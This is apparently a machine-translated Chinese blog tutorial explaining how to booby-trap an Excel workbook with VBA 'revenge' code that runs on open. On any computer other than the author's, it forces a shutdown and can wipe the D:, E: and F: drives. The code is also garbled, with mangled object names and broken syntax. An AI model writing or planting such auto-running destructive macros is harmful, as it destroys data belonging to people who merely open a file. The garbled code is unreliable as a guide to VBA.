admin 工作中有时候有重要的Excel文件，不希望别人复制，但是你不在的时候别人偷偷复制怎么办？没关系，我们有充分的理由报复那个偷偷折磨你文件的人。我该怎么办？
例如，我的文件更重要。
然后可以在此文件中插入VBA代码：Alt F11，作为VBE，在ThisWorkbook模块中写入以下代码
如果在其他计算机上打开此文件，请关闭电源！如果不喜欢偷偷复制文件的人，请启用call Alldl
代码(记录在hisWorkbook模块中):
' Private Sub Workbook_Open()'此代码位于ThisWorkbook模块中
Function:对偷EXCEL文件的人进行报复
奥托：沙毛虫
日期：2016/12/29
if environ(' computer name ')' admin ' then ' admin是我的电脑名称。如果我的电脑不打开此文件，它将调用官纪函数。在这里必须更改为自己的计算机名
“Call DelAll”从字符中删除文件。请小心使用此功能，除非你讨厌偷偷复制文件的人
调用‘call guanji’退出程序
当然，您可以限制其他条件，例如文件位置固定或打开时间限制。
End If
End Sub
' Sub guanji()'此功能是关闭电源
On Error Resume Next
Dim WSHshellA
set wshshshell a=create object(' w；)。
WSH 'cmd.exe /c shutdown -s -t 60 -c ' '不要偷我的文档！'，0，真的
End Sub
“Sub DelAll()”删除字符内的文件
On Error Resume Next
Strpathname1='D:\ '
Strpathname2='E:\ '
Strpathname3='F:\ '
CreateObject('；)。getfolder (strpathname 1)。deletetrue
CreateObject('；)。getfolder (strpathname2)。deletetrue
CreateObject('；)。getfolder (strpathname 3)。deletetrue
End Sub
请注意DelAll()。一旦激活，删除D\E\F磁盘上的内容，除非您非常讨厌或激活偷偷复制文件的人。
真所谓冤冤相报何时了。好了今天就写到此，